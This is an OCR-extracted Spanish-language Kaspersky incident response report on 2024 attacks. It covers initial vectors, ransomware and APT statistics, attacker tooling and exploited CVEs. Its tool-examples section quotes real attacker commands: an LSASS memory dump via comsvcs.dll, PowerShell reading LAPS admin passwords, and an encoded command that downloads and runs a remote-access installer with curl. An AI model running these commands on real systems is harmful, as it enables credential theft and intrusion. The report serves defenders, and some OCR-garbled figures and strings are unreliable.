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esumen ejecutivo

Vectores iniciales de ataque

39 %
Exploit de una
aplicacion publica

31%
Cuentas
vélidas

Relacion
de conflanza
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Resumen ejecutivo

Recomendaciones

% Implementa politicas de contrasefia sdlida
y autenticacion multifactorial

4 Elimina el acceso publico a los puertos
de gestion

4 Establece una politica de tolerancia
cero para la administracion de parches

~—y

Explore y complete tareas

Recomendaciones

€ Implementa reglas para detectar las herramientas mas
comunes gue utilizan los atacantes

¢ Llevaacabo actividades de evaluacién de riesgos con frecuencia

¢ Utiliza una herramienta de seguridad con telemetria similar a EDR
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Mimikatz %111/ SoftPerfect
\ Network
Scanner
Recomendaciones

¢ Crea copias de seguridad de datos criticos con
regularidad y aimacénalas de forma segura

Configura un control de acceso basado enroles

@ Trabaja con un partner de IR para garantizar
tiempos de respuesta rapidos
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24 %

Industria

Y% 16%
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13 %

Finanzas

Conoce a cada 51 % 16 %
adversario y los CEl Oriente
ataques hacia tu Medio
industria y region para

priorizar las inversiones 1N %
en seguridad Europa
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Vista de métricas de operaciones de seguridad

Duracion del ataque

Motivos de la deteccidn

Duracion de la correccion

4 39 % 10 % 33 horas 40 horas
/ v Archivos cifrados  Archivo (ataques (ataques
e | X sospechoso répidos) promedio)

j?* 18 % 10 % 50 horas

=4 ; s égggtlactj:ah%sa Activc;dad {huss dugteros)

Corto, 15l Largo plazo en terminales sospechosa de red bt . o -
(horas y dias) (semanas) (meses) Si quieres disminuir el tiempo
Menos de 1dia 13 dias 253 dias Los avisos sobre actividades

La mayoria de los atagues mas veloces son incidentes que
tienen unimpacto visible y se clasifican como de ransomware
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sospechosas de herramientas de
seguridad han permitido detectar
los ataques en sus primeras etapas
y disminuir suimpacto

de correccion, comienza
optimizando tu equipo

de IR antes de un

incidente - A
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Resumen ejecutivo

Descripcidon general y recomendaciones

parte de los atacantes para acceder a diversas infraestructuras. en 2024
. Esto es unindicador de que hay cada vez mas empresas que son
el objetivo de intermediarios de acceso inicial (IAB) que venden
estos datos en la Web oscura para su uso en ataques. En el

i ambito del ransomware como servicios (RAAS), los IAB juegan

1 un papel fundamental, ya que permiten a los ciberdelincuentes
optimizar sus ataques. Esto significa que las victimas ya estaban
en riesgo: sus credenciales se filtran, pero sus consecuencias

no son notorias. Esto resalta la importancia de las actividades
frecuentes de evaluacion de riesgos.

’Kﬂﬂ & En 2024 vimos un gran aumento en el uso de cuentas validas por LLas herramientas mas populares

4 Otra tendencia que se ha mantenido sin cambios durante
los Ultimos afios es el ransomware. En 2024, el 41,6 % de los
incidentes estuvo relacionado con esta clase de amenaza; sin
embargo, el aho anterior, el ransomware represento el 33,3 %.
Parece que el ramsomware seguira siendo la principal amenaza Mimikatz 22 %
para las organizaciones de todo el mundo en un futuro proximo.
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& LockBit fue responsable del 43,6 % de las infecciones, seguido
de Babuk con un 91 % y Phobos.con un 5,5 %. Durante el
2024, también se observo el ascenso de nuevas familias de
ransomware, como ShrinkLocker e Ymir.

4 En 2024 también fue notorio el uso extendido de Mimikatz
(21,8 %) y PsExec (20,0 %). Estas herramientas suelen utilizarse

A después de un exploit en la extraccidon de contrasefas vy el

sl movimiento lateral.

Nuevas amenazas descubiertas por GERT

Nuestro equipo hizo muchos descubrimientos significativos e interesantes

en 2024, desde nuevas familias de malware, como ShrinkLocker'y Ymir? PsExec 20 %
hasta descubrir sofisticadas campafias como Tusk?® y la explotacion a gran

escala de CVE-2023-48788%. Al responder ante estos incidentes, nuestro

equipo de especialistas también descubrio a atacantes que usaban el

compilador filtrado de LockBit 3.0° y EIPaco, la variante de Mimic®.

Actividades de APT

El 26,3 % de los ataques se atribuye a grupos reconocidos. De ellos, una tercera parte (31,7 %) no ha podido
atribuirse a ningun grupo especifico. BlackJack fue el grupo mas activo, con un 9,8 % de los ataques, mientras
que GREF, DarkStar y CloudAtlas también fueron destacados y contribuyeron cada uno con alrededor de un 5 %.
L.as empresas industriales y financieras y las instituciones gubernamentales son las que mas sufrieron ataques
dirigidos: representan el 26,8 %, €1 19,5 % y el 19,5 %, respectivamente, de todos los ataques dirigidos.

1 Securelist. ShrinkLocker: 2 Securelist. Ymir: nuevo 3 SecureList. Tusk: como desentrafiar
Converitr BitLocker en ransomware ransomware sigiloso suelto una compleja campaia de robo de
informacién
4 Securelist. Los atacantes 5 SecurelList. Uso del creador 6 Securelist. Andlisis de ElPaco:
aprovechan una vulnerabilidad de LockBit para generar una variante de Mimic
parcheada suelta de FortiClient EMS ransomware dirigido
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https://securelist.com/tusk-infostealers-campaign/113367/
https://securelist.com/elpaco-ransomware-a-mimic-variant/114635/
https://securelist.com/ransomware-abuses-bitlocker/112643/
https://securelist.com/new-ymir-ransomware-found-in-colombia/114493/
https://securelist.com/lockbit-3-0-based-custom-targeted-ransomware/112375/
https://securelist.com/patched-forticlient-ems-vulnerability-exploited-in-the-wild/115046/

~
e
\
|
7
N\
\
J
/
|
~
\

. Introduccién
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Este informe de analistas contiene informacién sobre los ciberataques que Kaspersky ha investigado en 2024.
Kaspersky proporciona una amplia variedad de servicios (respuesta ante incidentes, analisis forense digital,
andlisis de malware, etc.) para ayudar a las organizaciones que se ven afectadas por incidentes de seguridad
de la informacion. Los datos que se utilizan en este informe provienen de organizaciones que han necesitado
asistencia a fin de responder ante incidentes o realizar eventos profesionales para sus equipos internos de
respuesta ante incidentes. L os servicios de investigacion y respuesta ante incidentes estan a cargo del Equipo
Global de Respuesta a Emergencias (GERT) de Kaspersky, que cuenta con especialistas en Rusia, Europa, Asia,
Ameérica del Norte y del Sur, Oriente Medio y Africa.
Estas estadisticas nos permiten identificar tendencias relacionadas con las amenazas mas relevantes en
organizaciones de diferentes sectores de la economia y de diferentes regiones. A su vez, esto nos permite
desarrollar métodos de proteccion prioritarios y formular recomendaciones que, cuando se implementan,
ayudan a las organizaciones a mejorar sus niveles de seguridad y prepararse para la respuesta ante incidentes
en el futuro, lo que les posibilita prevenir o minimizar danos de los ataques. También nos permite obtener una
idea del panorama de amenazas por region e industria.
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Introduccién

Kaspersky Incident Response (IR) ofrece un analisis completo y detallado sobre los incidentes de seguridad.
Este servicio abarca todo el proceso de investigacion y respuesta e incluye la respuesta inicial, la recopilacion
de pruebas, la identificacion del vector de ataque principal y el desarrollo de un plan de mitigacion. Forma parte
integral de Kaspersky Security Services’, que garantiza que tu organizacion cuente con las herramientas necesarias
para contener y neutralizar las amenazas con confianza.

Persistencia instalada para Relacién Exploit de aplicaciones Filtracién
impactos futuros: 11 % de confianza: 13 % publicas: 39 % de datos: 17 %

r J - Ali . 0, H 1 . 0,

. InC|dent Response Cuentas validas: 31 % Archivos cifrados: 42 %

7 Servicios de Seguridad de Kaspersky
[@‘H\-e:' de analistas sobre Incident Respo’n‘ée de 2024 6



https://www.kaspersky.es/enterprise-security/cybersecurity-services
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Introduccién
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Ubicaciones geograficas de las solicitudes del servicio IR

El 2024 fue testigo de un cambio en la ubicacion geografica de la cobertura del servicio. La region de Medio
Oriente ocupo el segundo lugar en términos de solicitudes de respuesta a incidentes con un 15,7 % de las
solicitudes y desplazd a América al cuarto lugar. La CEI® mantiene una posicién predominante con el 50,6 %
de las solicitudes y contintia en aumento.

" Fieura1 | Ubicaciones geogréficas de las solicitudes del servicio
R ele & Kaspersky Incident Response en 2024

B CE® ¥ Oriente Medio [ Europa 4 Américadel 3 APAC Africa
2024 — 50,6 % 2024 —157 % 2024 —10,8 % Norte y del Sur 2024 —7.3% 2024 —54 %
2023 —473% 2023 —109 % 2023 —91% 2024 —10,2 % 2023-3,6% 2023-73%

2023 —218%
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https://www.kaspersky.com/enterprise-security/contact-investigation?icid=irreport
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Introduccién

Industrias

Hoy en dia, todas las organizaciones son vulnerables a los ciberataques, como reflejan las estadisticas de solicitudes
gue engloban a diversas industrias. El aflo pasado, los sectores industrial, gubernamental y financiero fueron los
que mas nos solicitaron ayuda. Esto se debe, en gran medida, a que estas organizaciones suelen tener mas personal
y mayores niveles de computarizacion, lo que aumenta su superficie de atague. En consecuencia, por un lado
son mas susceptibles a los ataques Y, por el otro, se vuelven objetivos mas atractivos para los ciberdelincuentes.

g ":;‘: , | Distribucion de las solicitudes de los servicios
A

.- =a Kaspersky Incident Response por sector

Industria

Gubernamental

Finanzas

Minoristas

Transporte

Atencion sanitaria

Telecomunicaciones

Educativo

Medios de
comunicacion

Otros
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Introduccién

Madurez de las organizaciones

Tras analizar los motivos de las solicitudes del servicio Kaspersky Incident Response por parte de las organizaciones,
podemos dividirlos en dos grupos.

Grupo | Grupolll

(se conocian los motivos y las consecuencias (ataques con indicadores de actividad sospechosa)
al momento de la solicitud) _ _

Por lo general, estas victimas toman conocimiento Sobre la base de los resultados de nuestro analisis,

de un ataque cuando ya ha ocurrido y el dafo estas actividades sospechosas tuvieron las

es evidente. siguientes consecuencias:

= Ve N e —Ve— —

Archivos cifrados 4.6 % Persistencia instalada para impactos futuros 10.7 %

Filtracion de datos 169 % Active Directory comprometido 9.6 %

Destruccion 17 % Ninguno (falsa alarma) 5.6 %

Robo de dinero 0.6 % Apropiacién de cuentas 45%

Servicio no disponible 0.6% Ninguno (Ataque prevenido o no completado) 45%
Destruccion de datos 3.4 %
Manipulacién de datos 0.6%

Por supuesto, algunos de estos incidentes también
podrian agravarse y convertirse en incidentes mas
graves. Al detectar los ataques en sus primeras etapas,
se podra minimizar suimpacto.

Informe de analistas sobre Incident Response de 2024
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Duracién del
ataque

uracion del ataque

Todos los casos de incidentes se pueden agrupar en tres categorias con distintos valores respecto del tiempo de permanencia del ataque,
la duracién de la respuesta ante incidentes, el acceso inicial y el impacto del ataque.

—)

Corta (horas y dias) Promedio (semanas) Duradera (un mes o mas)
Principales ataques de ransomware de El ransomware cometié numerosos Periodos irregulares de fases
alta velocidad que representan la mayor ataques que no pueden distinguirse activas y pasivas durante un ataque.
amenaza incluso para las operaciones de los mas veloces (atagques de maxima La duracion de las fases activas es
maduras de seguridad. Principalmente, actividad). En muchos casos, en este muy similar a la del grupo anterior
conductas evidentes de agentes grupo existe una demora importante (Promedio).
maliciosos que aprovechan elementos entre el acceso inicial y las siguientes
sencillos: problemas de seguridad faciles etapas del ataqgue.
de identificar y de disponibilidad publica
Vector inicial

T
Cuentas validas Exploit de aplicaciones publicas, Exploit de aplicaciones publicas,

relacion de confianza relacion de confianza, cuentas validas

Porcentaje de ataques

~
445 % 20.3 % 35.2 %
Duracién promedio (mediana)

)5, T
Menos de 1dia 13 dias 253 dias
Duracién de la respuesta ante incidentes (mediana)

~
33 horas 40 horas 50 horas

| "

Impacto

~ v
Datos cifrados Datos cifrados y robo de dinero Datos cifrados y fuga de datos

Informe de analistas sobre Incident Response de 2024
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Motivos para
solicitar el servicio

otivos para solicitar el servicio

" .. 1 Motivos de las solicitudes de los servicios
& & Kaspersky Incident Response por region

51%
| 51%

M1%

O -

e 0.5%
25% 1.0 % 5%
e .55 10% p 0.5%
23.2% s e 15 % 05% e, 05%
09 mmera—— 0.5 % 1.0% e 0.5%
% 359 1.0 % : £ 20% 0.5%
b 2 froR e s o) 25% 7 4.0% L © 10% o T 05%
Nz o 10% TR 207 60% 10% S—— ) o
20% L 05% RS 0.5 % SR 05 S 0.5 %
CEl Oriente Medio Europa Continente Asia-Pacifico Africa
americano
Apropiacién  Acceso no Filtracién de Archivos Robo de Alertade Mensaje Actividad Archivo Actividad
de cuentas autorizado datos cifrados dinero herramienta  de correo sospechosaen sospechoso sospechosa
de seguridad  electrénico terminales dered
sospechoso
Positivos reales Falsas alarmas
(T —~V =) et —
Archivos cifrados 389 % Actividad sospechosa de red 429 %
Actividad sospechosa en terminales 18.2% Actividad sospechosa en terminales 357 %
Archivo sospechoso 10.1% Archivo sospechoso 71%
Actividad sospechosa de red 10.1%

En 2024, el principal motivo de las solicitudes fueron
Filtracion de datos 6.6% las actividades sospechosas, ya que estas pueden
indicar la presencia de atacantes en la red. Sin embargo,
las actividades sospechosas también fueron la

Acceso no autorizado 5.6 % ALY
X principal fuente de falsas alarmas. De todos modos,
_ _ . recomendamos investigar toda actividad sospechosa
RS etnionta de soguridad g para garantizar la cobertura de todos los atagues reales.
Mensaje de correo electrénico sospechoso 1.5 % i
Robo de dinero 0.5%

Informe de analistas sobre Incident Response de 2024
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Vector inicial de
ataque

Vector inicial de atague

Las aplicaciones dirigidas al publico son, desde hace afos, el principal vector inicial de ataque. En 2024, volvieron
a ocupar el primero puesto: representaron el 39,2 % de los incidentes. En comparacion con el 2023, las relaciones
de confianza vieron un aumento, pero conservaron el tercer puesto con un 12,8 % de los incidentes. Las cuentas
validas conservan su posicion como el segundo vector de ataque mas comun con el 31,4 %. También hemos notado
gue el phishing sigue siendo un vector inicial y se emplea en casi una de cada 10 situaciones.

@7 —W;“-—:ﬂ‘%
é 0 AN Vector inicial de ataque e impacto resultante
As (5l
M 20% 39% 10% 7.8% 2.0% 15.7 % 69%
propiacion Exploit de aplicaciones e
de cuentas R & publicas L. : - 39.2%
i Active Directory 20% 29%10% 59% 17.6 % 20%
comprometido Ali ; 1.4 %
P i Cuentas validas m 31.4%
J Destruccion 10%.0%2.0%29% 39% 20%
de datos Relacién de confianza w 12.7%
Filtracion 29% 20% 29%1.0%1.0%
o Phishing o 9.8%
- Manipulacién )
de datos 39%
Servicios remotos externos 39%
- Destruccién
" ) & 1.0%
Replicaciéon mediante 1.0%
Archivos medios extraibles NS
cifrados 10%
Persistencia A 1.0 %
instalada para Infiltrado s p:
impactos futuros 1.0%
Otros 1.0 %

Segun estas estadisticas, podemos concluir que, sea cual sea el vector inicial de ataque, el tiempo de deteccion

se ve afectado principalmente por el nivel de seguridad de la informacién de la organizacion afectada. Por ejemplo,

los ataques que emplean los vectores mas populares pueden pasar desapercibidos durante varios dias o incluso
varios meses.

g ———=ve———————g)|
I ) b .. .z
é Figura5 ' Acceso inicial y duracion del ataque
YV - |
10.3% 7.7% 7.7%
Dias Exploit de aplicaciones T e e i 2o
publicas
B Meses
Cuentas validas _
> i g
W Semanas 38% 26% 51%
~ Relacién de confianza R o
nos

26% 38% 13%
Phishing

2.6 %1.3 %1.3 %

Servicios remotos externos

5 ot y 1.3%

Descargay ejecucion de archivos 74
maliciosos por parte de los usuarios

1.3%
Replicacién mediante medios
extraibles

1.3%

Otros

T
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Herramientas de
los atacantes

erramientas de los atacantes

En casi todas las investigaciones se utilizan herramientas legitimas en diversas etapas de los atagues. Aunque
los grupos de atacantes emplean su propio conjunto de herramientas que podrian identificarlos, casi cualquier
atacante puede utilizar herramientas de uso extendido (como Mimikatz o PsExec) en la extraccidon de contrasenas
y el movimiento lateral después de aprovechar una vulnerabilidad.

Distribucidn y frecuencia de las herramientas utilizadas en incidentes

—

v —

Frecuente: 8-22 % Promedio: 4-8 % Inusual: 1-4 %
~
ProcDump  PowerShell BloodHound  Process Hacker
Impacket ADRecon gs-netcat Nmap NSSM WMIC
_ Ngrok _ Advanced Port Scanner Chisel DislgCry_ptor gmer.exe Remcom
Advanced IP Scanner netscan.exe LaZagne

Los atacantes suelen utilizar diversas herramientas en el control remoto, la evasion de defensas y la exploracion
de la infraestructura de la victima.

(y:g;“nat?go 189 % SSH gs-netcat (Revsocks (Gost (Cloldfiared 'RDP PuTy. TacticalRMM
T
Evasion 18.3 % Chisel  Process Hacker Localtonet gmer Kavremvr Tor FRP HRSword
e defensas S PCHunter lObitUnlocker Neo-reGeorg Defender Control TDSSKiller
e
- SoftPerfect INEHWIESIE G EI®  NetScan  Advanced Port Scanner Advanced IP Scanner
Deteccion 15.2 % : ' ' '
ADRecon FScan BloodHound 'Nmap LANSearchPro Everything PingCastle adPEAS
~v
4 ’ RS CGIeR  PowerShell SMBExec WMIC NSSM Wmiexec MeshAgent Remcom
Ejecucion 12.2 % R
WSO WebShell ATExec WinSW  PAExec
~ v
Acceso a M6 % ProcDump  SecretsDump LaZagne CredentialsFileView Nanodump
credenciales P WebBrowserPassView XenAllPasswordPro  Gosecretsdump grabFF
S
Impacto 9.8 %  BitLocker DiskCryptor Eraser WipeDisk SDelete
Recopilacion 49 %  7zip WIinRAR 7z Adminer SharpHound Raw Copy FileZilla
- <]
plapierto 37% Impacket CobaltStrike PowerSploit Metasploitr NXC Havoc
o
Exfiltracion 3.7 % Rclone WinSCP WinGet Wget MEGASync
Sy 3
SR AE O 1.8 % Invoke-sAMSpoofing EfsPotato JuicyPotato 7 )

de privilegios

Informe de analistas sobre Incident Response de 2024
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Herramientas de
los atacantes

Ejemplos de herramientas usadas en casos reales

Intrusidon de ransomware: deteccidn de archivos y directorios
ID: T10837 Tactica: deteccidn

Tras la intrusion, el grupo de atacantes detras del ransomware LockBit usé credenciales en riesgo y el protocolo
de acceso remoto (RDP) para acceder a un servidor de archivos y a las busquedas en el Explorador de archivos
a fin de identificar archivos con palabras clave y fechas especificas:

"Restricted"” OR ="Confidential" OR ="Private" OR ="Operational & Inventory" OR ~="Finance" datemodified: 1/1/2022..today
"Balance" datemodified: 1/1/2022..today

"ssn" OR ="Restricted" OR ="Confidential" OR ="Private" OR ~="Operational & Inventory" datemodified: 1/1/2022..today
"tax" OR ="Income Statement" OR ="Balance" OR ="Cash" OR ="Financial Footnotes" OR ="Compensations" OR ="Customer
Information" OR ="Employee Data" OR ~="Intellectual Property" datemodified: 1/1/2022..today

Con estos filtros, el grupo de atacantes identifico archivos criticos en el servidor de archivos y cred una carpeta
comprimida .zip para filtrar informacion con el objetivo de presionar a la victima para que pague el rescate.

Intrusion: deteccion de cuenta (cuenta de dominio)
ID: T1087.002% Tactica: deteccion

Una vez obtenido el acceso a la infraestructura, el grupo de atacantes utilizd PowerShell para ejecutar una serie
de instrucciones que les permitieron realizar las siguientes acciones:

4 Instalar médulos adicionales para administrar Active Directory:

Import-Module ActiveDirectory

Install-Module ActiveDirectory

Register-PSRepository -Name "PSGallery" -SourceLocation "https://www.powershellgallery.com/api/v2/" -InstallationPolicy
Trusted

Set-PSRepository -Name "PSGallery" -InstallationPolicy Trusted

Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force

Register-PSRepository -Default -InstallationPolicy Trusted

Install-Module -Name ActiveDirectory -Force

€ Administrar cuentas de dominio:

Import-Module .\Microsoft.ActiveDirectory.Management.dll -Verbose
Unlock-ADAccount -Identity "<edited>"
Get-LAPS

4 Confirmar la instalacion de médulos especificos:

gc "c:\program files\LAPS\CSE\Admpwd.d1l1"
4 Obtener informacion sobre controladores de dominio y cuentas con privilegios:

$laps = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-
AdmPwdExpirationTime -Server <edited> | ? {$.'ms-Mcs-AdmPwd'} | select Name,ms-Mcs-
AdmPwd,@{label="ExpDate";Expression={([datetime]::FromFileTime([convert]::ToInt64($. ms-
Mcs-AdmPwdExpirationTime')))}}

nltest /domain_controllers

nltest /dclist

nltest /dclist:<domain_edited>

Import-Module AdmPwd.PS

9 T1083: Deteccién de archivos y 10 T1087.002: Deteccién de cuenta
directorios (cuenta de dominio)

Informe de analistas sobre Incident Response de 2024
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https://attack.mitre.org/techniques/T1087/002/
https://attack.mitre.org/techniques/T1083/
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Herramientas de
los atacantes

Instalacién automatica de servicios tras una intrusion:
volcado de credenciales del sistema operativo

ID: T1003™ Tactica: Acceso a las credenciales

Tras acceder a la infraestructura, diversos grupos implementaron scripts automatizados para configurar tareas
o instalar servicios. En este caso, un grupo de atacantes instald un servicio para hacer un volcado de memoria y
obtener datos del Servicio de subsistema de autoridad de seguridad local (LSASS). Para evadir las soluciones de
seguridad, se empled una interesante técnica que implicaba el uso de un caracter especial, segun se describe aqui:
https://github.com/login-securite/Isassy/blob/master/Isassy/dumpmethod/comsvcs.py

%COMSPEC% /Q /c cMD.eXE /Q /c for /f "tokens=1,2 delims= " %A in ('"tasklist /fi "Imagename eq lsass.exe" | find
"lsass""') do rundll32.exe C:\windows\System32\comsvcs.dll, #+0000"24 *%B \Windows\Temp\<random_name>.tar full

Analisis masivo para identificar y aprovechar CVE-2023-48788: persistencia con RRM
ID: T1219"2 Tactica: Comando y control

Tras identificar una version vulnerable del servidor de administracion de endpoint (EMS) de FortiClient expuesta
en Internet, diversos grupos de atacantes emplearon herramientas de supervision y administracion remotas
(RMM) y software malicioso para instalar aplicaciones y conservar la persistencia en la infraestructura en riesgo.
GERT analizé y confirma la presencia de diversas cargas utiles implementadas durante estos atagues que
aprovechaban esta vulnerabilidad sin parche®.

Tras aprovechar la vulnerabilidad, el grupo de atacantes configuré un comando de PowerShell en el sistema en
riesgo para instalar una herramienta de administracién remota, como ScreenConnect:

POWERSHELL.EXE -COMMAND ""ADD-TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C ([SYSTEM.WEB.
HTTPUTILITY]::URLDECODE("""%63%75%72%6C%20%2D%6F%20%43%3A%5C%75%70%64%61%74%65%2E%65%78%65%20%22%68%74%74%:70%73%3A%2F % 2F
%699%6E%669%697%6E%697%74779%2E%73%63%:72%65%65%6E%63%6F %6E%6E %6576 3%74%2E7%63%6F 56D%2F 7642%69 % 6E%2F %653%6 3757 276 5% 6 5% 6E%4 3% 6 F %
6E%6E%65%63%74%2E%43%6C%69%65%6E%74%53%65%749%75%70%2E%65%789%65%3F %65%3D%41%63%6 39%65%7 3%73%269%79%3D%47%75%65%73%74%22%20
%26%207973%74%61%72774%:20%2F %642%209:43%3A%5C7%757%70%64761%74% 657 2E% 65978765

El script descifrado conduce a la siguiente ejecucion:

curl -o C:\update.exe "https://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest" & start /B
C:\update.exe

El andlisis de GERT también confirmd que se utilizaba el servicio publico webhook site para identificar servicios
vulnerables. Al enviar una solicitud, se podia determinar si el servicio era vulnerable sin la necesidad de instalar
ninguna aplicacion. Esta implementacion se utilizd especificamente para realizar un ataque de enumeracion, cuyo
objetivo no era la persistencia:

POWERSHELL.EXE -COMMAND ""ADD-

TYPE -ASSEMBLYNAME SYSTEM.WEB; CMD.EXE /C ([SYSTEM.WEB.HTTPUTILITY]::URLDECODE("""%70%6%£%77%65%72%73%68%65%6c%6C%20

%620d963%20%22%69%77%72920%2d%55%72%69%20%68%747:74%:70%7 3%3a%2£%2£%77%65%62%687%6 £%6 £7:6b%2e7%73%69%74%65%2£%329%:37 %3876 6%58%

587%587%58%2d7%63%619%33%62%2d [ SUPRIMIDO]%2d%39%36%65%34%2d%58%58%58%58%34%35%61%61%36%38%307%:397%20%2d%4d%65%745:68%:6£7%:6 472~
%66£96739%74%20%2d%429:6£%64%799%:20%27%74%65%73%74%27%:20%3e%20%24%6€%75%6C%6C%22"""))""

Al decodificarse, estas lineas revelan una cadena de comandos que contienen un comando PS1 definitivo.

cmd.exe -> POWERSHELL.EXE -> CMD.exe -> powershell -c "iwr -Uri hxxps://webhook.site/278fXXXX-ca3b-[SUPRIMIDO]-96e4-XXXX-
45226809 -Method Post -Body 'test' > $null”

T1003: Volcado de credenciales 12 T1219: Software de acceso 13 Securelist. Los atacantes aprovechan una
de SO remoto vulnerabilidad parcheada suelta de FortiClient
EMS

Informe de analistas sobre Incident Response de 2024
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En-el siguiente diagrama se observan las vulnerabilidades de afos anteriores que se aprovecharon en 2024.
Mas del 90 % de las vulnerabilidades aprovechadas por atacantes en 2024 fueron publicadas hace mas de un ano,
lo que indica que las organizaciones atacadas tienen politicas de actualizacion poco efectivas.

i Figura 6 " Vulnerabilidades de anos anteriores aprovechadas en 2024

292 %
Vulnerabilidades

utilizadas
20.8%
16.7%
8.3% 8.3% 8.3%
42% 42%
2016 2017 2019 2020 2021 2022 2023 2024

Las vulnerabilidades mas frecuentes encontradas en nuestro conjunto de datos para 2024 estaban relacionadas con
productos de Microsoft (Windows, Exchange, Active Directory, SharePoint), such as CVE-2016-0099, CVE-2017-0176,
CVE-2019-1458, CVE-2020-1472, CVE-2020-0688, CVE-2020-0787, CVE-2021-42287, CVE-2021-34523, CVE-2021-
34473y CVE-2023-29357. También descubrimos un aumento notorio en la cantidad de vulnerabilidades en el servidor
de OpenSSH (sshd): CVE-2023-38408, CVE-2024-6387 (regreSSHion) y CVE-2024-6409. Ademas, se observaron
vulnerabilidades en la interfaz de usuario web del software Cisco I0S XE (CVE-2023-20273 y CVE-2023-20198).

Alrededor del 40 % de las vulnerabilidades detectadas durante estas respuestas a incidentes indicaba la ejecucion
remota de codigo (RCE) y un porcentaje similar estaba relacionado con exploits de escalamiento de privilegios.
En particular, un gran nimero de vulnerabilidades graves y criticas en estas categorias tienen exploits de prueba
de concepto (PoC) disponibles en plataformas como GitHub y Exploit-DB. Esto facilita a los atacantes el acceso
a diferentes entornos y la realizacion de movimientos laterales.

Entre las categorias repetidas de Common Weakness Enumeration (CWE), encontramos que las mas predominantes
eran CWE-120 (saturacion clasica del bufer), CWE-269 (administracion incorrecta de privilegios), CWE-287
(autenticacion inadecuada) y CWE-918 (falsificacion de solicitudes en el servidor, SSRF). Todas estas vulnerabilidades
podrian haberse evitado si se hubieran empleado practicas de codificacion seguras, como el andlisis estatico de
codigo y el andlisis dinamico automatico. Esto resalta la importancia de que el equipo de desarrollo debe priorizar la
seguridad en todas las etapas del ciclo de vida de desarrollo y adoptar principio seguros y de privacidad por disefio.
Ademas, los clientes deben asegurarse de tener actualizaciones regulares y aplicar parches de seguridad a tiempo.

Informe de analistas sobre Incident Response de 2024 16
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PoC disponible: Microsoft Windows (servicio Secondary Logon)

‘CVE-2016-0099 | CVSS7.8HIGH | CWE-120

Escalamiento de privilegios

Microsoft Windows (gpkcsp.dll)
CVE-2017-0176  CVSS8.1HIGH | { CWE-120

Ejecucion remota de cédigo (RCE)

PoC disponible: Microsoft Windows (Win32k)
CVE-2019-1458

Escalamiento de privilegios

CVSS 7.8 HIGH CWE-1219

PoC disponible: Microsoft Windows (Netlogon)
' CVE-2020-1472

Escalamiento de privilegios

CVSS10.0 CRITICO | CWE-330

PoC disponible: Microsoft Exchange Server
CVE-2020-0688

Ejecucion remota de cédigo (RCE)

CVSS 8.8 HIGH CWE-287

También conocida como MS16-032, una vulnerabilidad en el servicio
Secondary Logon permite a los usuarios locales obtener privilegios
mediante una aplicacién personalizada.

~y

Un desbordamiento del bufer en el cddigo de autenticacion de tarjetas
inteligentes en gpkcsp.dil en Microsoft Windows XP (hasta SP3) y Server 2003
(hasta SP2) permite que cualquier atacante ejecute software de forma remota si
el equipo objetivo forma parte de un dominio de Windows y tiene un protocolo
de escritorio remoto habilitado (o Terminal Services).

~y

Esta vulnerabilidad surge de un error en la aplicacion al procesar un archivo
malicioso, que permite a los atacantes remotos aprovecharla para escalar sus
privilegios en sistemas vulnerables.

~r—y

Esta vulnerabilidad de escalamiento de privilegios ocurre cuando un grupo de
atacantes establece una conexidn vulnerable de un canal seguro de Netlogon
con un controlador de dominio mediante el protocolo remoto de Netlogon (MS-
NRPC). Si se aprovecha la vulnerabilidad, el grupo de atacantes puede ejecutar
una aplicacion personalizada en un dispositivo en red.

~—y

Esta vulnerabilidad de ejecucion remota de cddigo-en Microsoft Exchange
ocurre debido al manejo inadecuado de objetos en memoria.

~y

PoC disponible: Microsoft Windows (Servicio de transferencia inteligente en segundo plano, BITS)

CVE-2020-0787 CVSS78HIGH | [ CWE-59

Escalamiento de privilegios

Es una vulnerabilidad de escalamiento de privilegios en el Servicio
de transferencia inteligente en segundo plano (BITS) de Windows.

~—y

PoC disponible: Microsoft (Active Directory Domain Services)

CVE-2021-42287

Escalamiento de privilegios

CVSS 8.8 HIGH CWE-269

PoC disponible: Microsoft Exchange Server

CVE-2021-26855 | CVSS9.8CRITICAL [ CWE-918
Ejecucion remota de cédigo (RCE)
Microsoft Exchange Server
'CVE-2021-31207 | CVSS6.6MEDIUM | CWE-434

Desviacién de medidas de seguridad

Informe de analistas sobre Incident Response de 2024

Esta vulnerabilidad de escalamiento de privilegios en Active Directory Domain
Services permite a un grupo de atacantes hacerse pasar por el administrador
del dominio desde un usuario estandar del dominio.

~—y

Esta vulnerabilidad en Microsoft Exchange Server permite a un grupo de
atacantes eludir la autenticacion y hacerse pasar por el administrador.

Esta vulnerabilidad permite a un grupo
de atacantes remoto ejecutar cédigo
arbitrario en instalaciones vulnerables de
Microsoft Exchange Server. En el peor de
los escenarios, se podria ejecutar codigo
arbitrario en SYSTEM.
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PoC disponible: Microsoft (Active Directory Domain Services)

CVE-2021-42278

Escalamiento de privilegios

CVSS75HIGH | CWE-269

PoC disponible: Microsoft Exchange Server
'CVE-2021-34523

Escalamiento de privilegios

CVSS 9.8 CRITICAL | CWE-287

Esta vulnerabilidad de escalamiento de privilegios en Active Directory Domain
Services permite a un usuario estandar del dominio hacerse pasar por el
administrador del dominio.

Esta vulnerabilidad de escalamiento de privilegios en Microsoft Exchange
Server surge de la validacion inadecuada de las solicitudes de comunicacion
remota de PowerShell.

~r—y

PoC disponible: Microsoft Exchange Server (Autodiscover)

CVE-2021-34473 (CvsS9.8CRITICAL [ CWE-918
Ejecucion remota de cédigo (RCE)
Bitrix Site Manager
'CVE-2022-27228 [ CVsS9.8 CRITICAL [ CWE-20

Ejecucion remota de cédigo (RCE)

PoC disponible: Veeam Backup & Replication
CVE-2023-27532

Falta de autenticacion

CVSS 7.5 HIGH CWE-306

PoC disponible: OpenSSH (ssh-agent)
CVE-2023-38408

Ejecucion remota de cédigo (RCE)

CVSS 9.8 CRITICAL | CWE-428

PoC disponible: Microsoft SharePoint Server
CVE-2023-29357

Escalamiento de privilegios

CVSS 9.8 CRITICO | CWE-303

Esta vulnerabilidad en el servicio Autodiscover permite a los atacantes
remotos ejecutar codigo arbitrario en la instancia afectada de Microsoft
Exchange Server.

~—y

Esta vulnerabilidad esta presente en el médulo vote (< 21.0.100) de Bitrix Site
Manager. Permite a los atacantes remotos sin autenticacion ejecutar cédigo
arbitrario.

~y

